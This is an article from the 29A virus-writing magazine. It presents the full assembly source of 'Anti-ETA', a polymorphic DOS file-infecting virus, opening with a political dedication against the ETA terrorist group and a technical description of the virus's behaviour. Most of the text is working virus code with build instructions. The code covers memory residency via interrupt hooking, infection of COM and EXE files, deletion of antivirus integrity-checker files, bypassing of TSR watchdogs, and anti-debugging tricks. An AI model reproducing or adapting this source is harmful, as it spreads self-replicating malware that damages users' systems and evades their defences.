Copy Link
Add to Bookmark
Report
29A Issue 02 05 05
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; Anti-ETA ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by GriYo/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Introduction
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; This virus is an iniciative of Mister Sandman (writing this right now) and
; GriYo, supported by the rest of the 29Aers and finally written by GriYo.
;
; Espa¤a (Spain in english) is a country that emerged and took its final and
; actual form during the first years of the XVIth century. It was born from
; the conjunction of many other kingdoms/independent countries (ie Arag¢n,
; Catalunya, Galicia, Euskadi, and the most important, Castilla) which lived
; (and fought) together in the actual spanish territory. This final union
; was possible by means of marriages between princes and princesses of these
; kingdoms, pacts, and, of course, wars -which became conquests-.
;
; Today, about four centuries later, a very little minority living in Euska-
; di (right now, one of the seventeen provinces in Spain) claim for their
; independence by means of violence. They don't hesitate on placing bombs in
; big stores, streets, cars, etc. thus causing the death of innocent people,
; or on killing policemen, politicians or anybody who just don't thinks the
; way they do.
;
; Luckily, many of these motherfuckers are arrested and put in prison far
; away from their home. Anyway, this has also become a problem, as they want
; to stay only in euskadian prisons, in order to be able to keep in contact
; with their family. This fact drove them to, apart from do more killings,
; kidnap an innocent young jailer, called Jos Antonio Ortega Lara.
;
; They didn't ask for money. He was put underground in a very tiny and empty
; room, without any light, without any way to know when it dawns or when it
; gets dark, with very few oxygen to breath, with only some food every four
; days, served in the same receptacle where he had to shit and urinate. This
; is... without anything to do... except of waiting to be freed, and hoping
; that all the psychic tortures he was going submitted to were going to have
; an end some day.
;
; Happily, the spanish police found and freed him 532 days later. He had a
; long barb and 27kg less of his normal weight. But he eventually was able
; to see the light and walk (even talk) again. Today, Jos Ortega Lara is
; still under psychical attention, carrying a normal life again.
;
; However, the reason to be of this virus takes place a few days later, when
; the euskadian violent-independentist group kidnapped Miguel Angel Blanco,
; a politician from a small town called Ermua, and threatened to kill him
; unless the spanish goverment would allow the approaching of the arrested
; terrorists to Euskadi in a 48-hour deadline. Since this was made public,
; millions of people went out to the street in order to show their inconfor-
; mity with this cruel way of acting.
;
; Sadly, none of the mass meetings which collapsed the whole Spain for 48
; hours were enough, and Miguel Angel Blanco, the 28 year-old politician,
; was eventually killed by one of these terrorists by means of two bullets
; shot in his head.
;
; The name of this euskadian terrorist group is ETA, hence the name of this
; virus, Anti-ETA, offered as a homage to all the families which were vic-
; tims of the violent way of acting of these independentists, and especially
; to Jos Antonio Ortega Lara and Miguel Angel Blanco Garrido (RIP).
;
; 29A against terrorism,
; the 29A staff.
;
;
; Virus behavior
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Code executed when an infected file is run:
;
; - Polymorphic decryptor
; - CPU type check routine
; - Installation check
; - COMMAND.COM segment prefix search
; - Host allocated conventional memory reduction
; - Conventional memory order for installation
; - COMMAND.COM segment prefix activation as current PSP (this
; context change allows Anti-ETA to perform memory allocation
; calls without warning a good bunch of TSR watchdogs
; - Interrupt 22h hooking into host PSP (without modifying IVT)
; - Control return to host
;
; Tasks performed by the int 22h handler:
;
; - Code decryption
; - Interrupt 3 (breakpoint) vector saving
; - Interrupt 3 hooking with the virus handler
; - Interrupt 28h (DOS idle interrupt that points to an iret
; instruction by default) vector order
; - First byte of current int 28h handler storing, instead of
; an int 3 instruction
; - Jump to the original int 22h
;
; Every time in which COMMAND.COM calls its idle interrupt, a
; breakpoint instruction gives the control to the interrupt 3
; handler, owned by Anti-ETA. This handler will count the
; number of calls until it determines that it's safe to hook
; interrupt 21h. I stole the idea on using int 28h in such a
; way from Rhincewind (see Catch22 TSR loader), but this
; approach is much more enhanced ;)
;
; Code executed from the idle interrupt:
;
; - Another decryption loop performance
; - First int 28h byte restoring
; - Interrupt 3 vector restoring
; - Virus body move to another memory block (including UMBs)
; - Old memory block release
; - Interrupt 21h hooking
;
; Encryption
; ÄÄÄÄÄÄÄÄÄÄ
; The main polymorphic decryptor receives the control when an infected file
; file is executed. On program termination, the virus int 22h handler recei-
; ves the control and decrypts the whole Anti-ETA body using the decryptor
; code as key. Another decryptor appears when execution reaches virus' int 3
; handler from the previously redirected idle interrupt.
;
; Infection and activation routines are also encrypted in memory (using a
; random cipher key each time) and their code will be decrypted on the fly
; when necessary.
;
;
; Polymorphism
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; Anti-ETA is polymorphic in EXE and COM files, as well as in the COM files
; it sometimes may drop after having been called function 3bh of int 21h.
;
;
; File infection
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When any file is executed, Anti-ETA just stores the file name and infects
; it upon termination, and same for open/close functions.
;
; Every time the virus modifies any file, ANTI-VIR.DAT and CHKLIST.MS will
; be deleted (if they exist) in order to avoid getting caught by any kind of
; integrity checker.
;
; While infecting files, Anti-ETA uses standard DOS calls, checking for
; errors after each of them and without using any system file table (looking
; for some network compatibility).
;
; The virus tries to find the original int 21h entry point (using the 52h
; function backdoor), and uses it in all the file infection routines, thus
; bypassing many TSR watchdogs.
;
; Finally, the int 3 vector is redirected to the original int 21h EP, and
; Anti-ETA uses an int 3 instruction (only 1 byte) when calling any DOS
; function for infection.
;
;
; Retro functions
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Checksum files ANTI-VIR.DAT and CHKLIST.MS are deleted from every directo-
; ry where a file is going to be infected. Apart from this, the virus con-
; tains some antidebugging code.
;
;
; Activation routines
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; On every call to the int 21h function 3bh (set current directory), the vi-
; rus will sometimes drop an infected COM file, with a random name and a
; random date/time stamp). Its size will be also random due to the polymor-
; phic encryption... and... btw, Anti-ETA will not infect its sons, just be-
; cause they're too small ;)
;
; The main payload effect triggers every july 10th (the date in which Miguel
; Angel Blanco was kidnapped), displaying a graphic that consists on a whi-
; te hand in which reads "Anti-ETA". The white hand is the symbol which we
; use in Spain to tell ETA "STOP THE KILLING!".
;
;
; Greetings
; ÄÄÄÄÄÄÄÄÄ
; This time, very special greetings go from the 29A staff to all the victims
; of ETA, hoping this will have an end some day in the future.
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm /m anti-eta.asm
; tlink anti-eta.obj
anti_eta segment
.386
assume cs:anti_eta,ds:anti_eta,es:anti_eta,ss:anti_eta
org 0000h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Some useful equates ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
mem_byte_size equ offset virus_mem_end - offset entry_point
mem_para_size equ (mem_byte_size+000Fh)/0010h
inf_byte_size equ offset virus_inf_end - offset entry_point
inf_para_size equ (inf_byte_size+000Fh)/0010h
byte_area01h equ offset end_area01h - offset crypt_area01h
byte_area02h equ offset end_area02h - offset crypt_area02h
byte_area03h equ offset end_area03h - offset crypt_area03h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus entry point for all targets (COM and EXE files) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
entry_point: push ds ; Save segment regs
push es
db 0BDh ; Get delta
delta: dw 0000h ; (mov bp,nnnn)
push cs ; Point DS to
pop ds ; our code
cli ; Check for 386+
pushf ; CPU
pop ax
or ax,2000h
push ax
popf
pushf
pop ax
sti
test ax,2000h ; Exit if 286
jz exit_install ; or below
mov esi,"ANTI"
mov ah,30h ; Get DOS version
int 21h ; and perform
cmp esi,"ETA!" ; installation
je exit_install ; check
cmp al,05h ; MS-DOS 5.0+
jb exit_install ; check
; I found a problem using this method of residency
; when the virus tries to go resident while a copy
; of itself is waiting for enough DOS idle time.
;
; Fix:
;
; The virus can check if another copy of itself is
; using the DOS idle interrupt. Just check for a
; breakpoint in the first byte of int 28h.
mov ax,3528h ; Get int 28h
int 21h ; vector
cmp byte ptr es:[bx],0CCh ; int 3?
je exit_install ; Yes, abort
mov ah,62h ; Get and save
int 21h ; active PSP
mov es,bx ; ES:SI -> host PSP
xor si,si
mov dx,bx ; Always DW=host PSP
; A new problem appears when an infected program
; executes another file which is also infected.
;
; Fix:
;
; Get parent PSP and check the name of the MCB
; behind. Go resident only if the command inter-
; preter is the parent of the infected host.
mov ax,word ptr es:[si+16h] ; Get parent PSP
mov di,ax
dec ax ; Get parent MCB
mov es,ax
cmp dword ptr es:[si+08h],"MMOC" ; Check name in MCB
jne exit_install
mov es,dx ; Get host PSP
mov ah,4Ah ; Get free memory
push ax
mov bx,0FFFFh
int 21h
pop ax
sub bx,mem_para_size+01h ; Sub some memory
int 21h ; for our code
jc exit_install
mov bx,di
mov ah,50h ; Activate command
int 21h ; PSP
jc exit_install
mov ah,48h ; Ask for memory
mov bx,mem_para_size
int 21h
mov es,ax ; Copy virus to
call move_virus ; allocated memory
push ds
mov ds,dx
xor si,si ; DS:SI -> host PSP
mov eax,dword ptr ds:[si+0Ah] ; Get int 22h vector,
mov dword ptr es:[old22h],eax ; save it and point
mov word ptr ds:[si+0Ah],offset my22h ; to our handle
mov word ptr ds:[si+0Ch],es
pop ds
mov bx,dx
mov ah,50h ; Now set host PSP
int 21h ; as current PSP
exit_install: mov eax,dword ptr ds:[bp+host_type]
cmp eax,".COM" ; Is it a COM host?
je exit_com
cmp eax,".EXE" ; An EXE host?
je exit_exe
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Exit for 1st virus generation ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
exit_launcher: pop es ; Exit virus launcher
pop ds ; Restore segment
mov ax,4C00h ; regs and call to
int 21h ; terminate prog
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Exit from a COM file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
exit_com: mov eax,dword ptr ds:[bp+old_header] ; Restore first
mov dword ptr ds:[0100h],eax ; four bytes
pop es ; Restore segments
pop ds
push cs ; Save return address
push 0100h
xor ax,ax ; Clear some regs
mov bx,ax
mov cx,ax
mov dx,ax
mov si,ax
mov di,ax
mov bp,ax
retf
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Exit from an EXE file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
exit_exe: mov ah,62h ; Get active PSP
int 21h
add bx,0010h ; Calculate host CS
add word ptr ds:[bp+exe_ip_cs+02h],bx
add bx,word ptr ds:[bp+old_header+0Eh] ; Calculate host SS
pop es ; Restore segments
pop ds
cli ; Fix program stack
mov ss,bx
mov sp,word ptr cs:[bp+old_header+10h]
sti
xor ax,ax ; Clear some regs
mov bx,ax
mov cx,ax
mov dx,ax
mov si,ax
mov di,ax
mov bp,ax
db 0EBh,00h ; Clear prefetch
db 0EAh ; Get control back
exe_ip_cs dd 00000000h ; to host
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Move virus code to another memory location ³
;³ On entry: ³
;³ DS:BP -> current location ³
;³ ES -> new segment location ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
move_virus: sub di,di
mov si,bp
mov cx,inf_byte_size
cld
rep movsb
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Insert/remove breakpoint into/from int 28h handler code (DOS idle) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
xchg28h: push di
push es
cli
les di,dword ptr cs:[old28h] ; Xchg int 28h
mov al,byte ptr es:[di] ; first byte
xchg al,byte ptr cs:[breakpoint] ; with out buffer
stosb
sti
pop es
pop di
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Some code and data out of all the sub-decryptors ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
old03h dd 00000000h ; Int 3 vector
crypt_leave21h: db 0EBh,00h ; Clear prefetch
db 0EAh ; Get control back
old21h dd 00000000h ; to original int 21h
orig21h dd 00000000h ; DOS entry point
crypt_leave22h: db 0EBh,00h ; Clear prefetch
db 0EAh ; Get control back
old22h dd 00000000h ; to original int 22h
old24h dd 00000000h ; Critical error
old28h dd 00000000h ; to original int 28h
breakpoint db 00h ; Int 28h 1st byte
host_type dd "CEPA" ; File type
crypt_delta dw 0000h ; Delta for decryptor
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Crypt/decrypt area 01h ³
;³ On entry: ³
;³ DS -> area 01h segment to crypt/decrypt ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
crypto01h: push bx
push es
push ds
pop es
mov si,word ptr cs:[crypt_delta]
add si,offset crypt_area01h
mov di,si
mov bx,offset crypto01h
mov cx,(byte_area01h+01h)/02h
cld
crypt_loop01h: lodsw
push ax
pop dx
cli
mov ax,0002h ; Simple stack
sub sp,ax ; verification
sti
pop ax
cmp ax,dx
jne crypt_loop01h ; Fool tracing
xor ax,word ptr cs:[bx] ; Use our code as key
stosw ; to avoid
inc bx ; modifications
cmp bx,offset exit_crypt01h
jne continue01h
mov bx,offset crypto01h
continue01h: loop crypt_loop01h
pop es
pop bx
exit_crypt01h: ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus int 22h handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
my22h: push cs ; Point DS to
pop ds ; virus code
mov word ptr ds:[crypt_delta],0000h ; Clear delta crypt
mov eax,dword ptr ds:[host_type] ; Launcher doesn't
cmp eax,"CEPA" ; need decryption
je skip_area01h
call crypto01h ; Do decryption
crypt_area01h equ this byte
skip_area01h: db 0EBh,00h ; Clear prefetch
mov al,03h ; Save old int 3
call get_int ; vector
mov word ptr ds:[old03h],bx
mov word ptr ds:[old03h+02h],es ; Hook int 3 to
mov dx,offset my03h ; our int 21h
call set_int ; Hooking routine
mov al,28h ; Save int 28h
call get_int ; vector and
mov word ptr ds:[old28h],bx ; insert an int 3
mov word ptr ds:[old28h+02h],es ; instruction over
mov byte ptr ds:[breakpoint],0CCh ; the handler code
call xchg28h
exit22h: jmp crypt_leave22h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Crypt/decrypt area 02h ³
;³ On entry: ³
;³ DS -> segment of area 02h to crypt/decrypt ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
crypto02h: push es
push ds
pop es
mov si,word ptr cs:[crypt_delta]
add si,offset crypt_area02h
mov di,si
mov cx,(byte_area02h+02h)/02h
cld
crypt_loop02h: lodsw
xchg ah,al
stosw
loop crypt_loop02h
pop es
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus int 3 handler (called on every int 28h call) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
my03h: call push_all ; Save all regs
push cs ; Point DS to
pop ds ; virus code
mov eax,dword ptr ds:[host_type] ; Launcher doesn't
cmp eax,"CEPA" ; need decryption
je skip_area02h
call crypto02h ; Do decryption
db 0EBh,00h ; Clear prefetch
skip_area02h: call xchg28h ; Remove breakpoint
mov si,mem_para_size ; Allocate memory
call mem_alloc
or di,di ; Exit if error
jz cant_move_it ; on mem allocation
push di
mov es,di ; Copy virus to
sub bp,bp ; memory
call move_virus ; Continue execution
push offset continue_here ; at newly allocated
retf ; memory block
continue_here: mov ah,49h ; Free old virus
push ds ; memory
pop es
int 21h
cant_move_it: mov al,03h ; Restore int 3
lds dx,dword ptr cs:[old03h]
call set_int
push cs
pop ds
mov ax,3521h ; Get and save
int 21h ; current int 21h
mov word ptr ds:[old21h],bx
mov word ptr ds:[old21h+02h],es
mov word ptr ds:[orig21h],bx
mov word ptr ds:[orig21h+02h],es
mov ah,52h ; Use this backdoor
int 21h ; to get int 21h
mov bx,109Eh ; kernel entry point
cmp word ptr es:[bx],9090h
jne no_backdoor
cmp byte ptr es:[bx+02h],0E8h
jne no_backdoor
cmp word ptr es:[bx+05h],0FF2Eh
jne no_backdoor
mov word ptr ds:[orig21h],bx
mov word ptr ds:[orig21h+02h],es
; Function 52h (get ptr to dos info block) returns
; in ES the segment of the DOS entry point. Offset
; seems to be always 109eh in lots of machines.
;
; Anti-ETA will check if the code looks like:
;
; nop -> 90h
; nop -> 90h
; call xxxx -> E8h xx xx
; jmp dword ptr cs:[yyyy] -> 2Eh FFh 2Eh yy yy
no_backdoor: mov eax,dword ptr ds:[host_type] ; Launcher needs
cmp eax,"CEPA" ; encryption
jne skip_area03h
call crypto03h
skip_area03h: mov ax,2521h ; Point int 21h
mov dx,offset my21h ; to our handler
int 21h
exit03h: call pop_all ; Restore saved regs
pushf
call dword ptr cs:[old28h]
cli ; Fix stack
add sp,0006h ; and return to
sti ; int 28h caller
iret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption over area 03h (int 21h code) ³
;³ On entry: ³
;³ DS -> segment of area 03h to crypt/decrypt ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
crypt_area02h equ this byte
crypto03h: db 0EBh,00h ; Clear prefetch
push si ; Save some
push di ; regs and
push es ; perform
short_way: push ds ; encryption
pop es ; using add
mov si,word ptr cs:[crypt_delta] ; instruction
add si,offset crypt_area03h
mov di,si
mov cx,(byte_area03h+01h)/02h
cld
db 0EBh,00h ; Clear prefetch
crypt_loop03h: lodsw
db 05h ; add ax,xxxx
crypt21h_key dw 029Ah
stosw
loop crypt_loop03h
pop es
pop di
pop si
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Decrypt virus int 21h code if needed ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
rm_crypt21h: mov ax,cs ; Remove int 21h
mov ds,ax ; encryption
mov es,ax ; using sub
mov si,offset crypt_area03h ; instruction
mov di,si
mov cx,(byte_area03h+01h)/02h
cld
db 0EBh,00h ; Clear prefetch
clear21h: lodsw
db 2Dh ; sub ax,xxxx
decrypt21h_key dw 029Ah
stosw
loop clear21h
call rand_16
mov word ptr ds:[crypt21h_key],ax ; Get random key
mov word ptr ds:[decrypt21h_key],ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus int 21h handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
my21h: cmp ah,30h ; Install check?
je install_check
cmp ah,3Bh ; Change directory
jne try_get_name
call push_all ; Save all regs
call rm_crypt21h ; Remove encryption
jmp try_activation
try_get_name: cmp ax,4B00h ; Execution?
je work_filename
cmp ah,3Dh ; Open?
je work_filename
cmp ah,6Ch ; Extended open?
jne try_infection
work_filename: call push_all ; Save all regs
call rm_crypt21h ; Remove encryption
call pop_all ; Restore regs
call push_all ; and save them again
jmp store_filename ; Copy filename
try_infection: cmp ax,4C00h ; Terminate?
je work_infection
cmp ah,3Eh
jne forget_this
work_infection: call push_all ; Save all regs
call rm_crypt21h ; Remove encryption
call pop_all ; Restore regs
call push_all ; and save them again
jmp infect_program
forget_this: jmp crypt_leave21h
exit21h: push cs ; Redo encryption
pop ds ; before leaving
call crypto03h
call pop_all ; Restore regs
jmp crypt_leave21h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Perform a call to the original int 21h vector ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
call21h: pushf ; Perform a call to
call dword ptr cs:[orig21h] ; the interrupt 21h
retf 02h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Installation check ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
install_check: cmp esi,"ANTI" ; Is it our check?
je reponde_cabron
jmp crypt_leave21h
reponde_cabron: pushf ; Interrupt 21h
call dword ptr cs:[old21h]
mov esi,"ETA!" ; I am here!!!
iret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Store name of the file to execute ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
crypt_area03h equ this byte
store_filename: db 0EBh,00h ; Clear prefetch
cmp ah,6Ch ; Extended open?
je is_extended
mov si,dx
is_extended: push cs
pop es
cmp ah,4Bh ; Execute?
jne use_openbuff
mov di,offset exec_filename ; File to execute
jmp ok_buff_off
use_openbuff: mov di,offset open_filename ; File to open
ok_buff_off: push di
mov ah,60h ; Get complete
int 21h ; filename
push cs
pop ds
call hook_24h_03h
pop si
mov dx,offset del_this_shit01 ; Delete Thunderbyte
call delete_file ; ANTI-VIR.DAT files
mov dx,offset del_this_shit02 ; And CHKLIST.MS shit
call delete_file
call free_24h_03h
jmp exit21h
